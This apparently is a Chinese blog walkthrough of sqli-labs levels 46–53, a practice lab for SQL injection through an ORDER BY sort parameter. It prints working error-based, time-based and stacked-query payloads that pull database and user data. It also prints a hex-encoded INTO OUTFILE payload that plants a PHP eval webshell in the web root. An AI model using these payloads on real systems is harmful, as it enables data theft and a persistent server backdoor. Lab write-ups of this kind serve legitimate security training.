• sql-lib闯关之lesson46-53


    知识铺垫

    SQL语句中,asc是指定列按升序排列,desc是指定列按照降序排列。
    select * from users order by 1 desc;使用降序进行排列
    select * from users order by 1 asc;使用升序进行排列。

    Right()   select right (database(),1);

    Left()    select left(database(),1);

    lines terminated by xxx  每行以xxx为结尾(分割) 可以写入一句话木马


    LESS46

     进入这关我们发现要使用sort为参数了,观察源码其实sort就是以前的id。

    输入:?sort=1 asc --+  
    也就是id进行升序排列。

     通过测试发现我们一开始的联合查询 union select 方法不能使用。

    方法一:报错注入

    输入:?sort=1 and updatexml(1,concat(0x7e,database()),1) --+

     输入:?sort=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) --+

     输入:?sort=1 and updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) --+


    方法二:时间注入

    输入:?sort=1 and if(length(database())=8,1,sleep(5))--+

    不推荐手动注入,可以使用脚本来,效率高。


    LESS47

    参数:‘1’

    其他不变
    LESS48

    参数与46关相同,但是没有错误回显,所以只能使用时间盲注。
    LESS49

    参数变为‘1’ 类型同48相同。


    LESS46-49关方法之一句话木马

    以46关为例

    输入:?sort=1 into outfile 'C:\phpstduy2018\PHPTutorial\WWW\sqli-labs-master\Less-46\1.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

     咱们不能用<php @eval($_POST["czs"];?>写是因为写不进去 是个空的 所以用知识铺垫的函数 进行16进制转换。

    写入一句话木马就可以用菜刀连接了。


    LESS50

    其他三种方法同上

    方法四:堆叠注入

    输入:?sort=1;create table czs like users;insert into czs select * from users;

     

     这时我们发现新建的czs 与users 内容一样。
    方法五:堆叠注入 写入一句话木马。


    LESS51

    参数 ‘1’
    LESS52

    无回显,不可以用报错注入。
    LESS53

    和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

  • 相关阅读:
    C# 程序打包
    [置顶] 我的iOS作品
    struts2处理上传文件路径问题
    Lua基础 函数(二)
    JS解析XML的实现代码
    软件架构设计之Utility模块——Any
    详解Java解析XML的四种方法
    JS解析XML
    Android中级第八讲安卓子线程,以及定时任务使用讲解
    关于"未能映射路径"问题
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12506957.html
Copyright © 2020-2023  润新知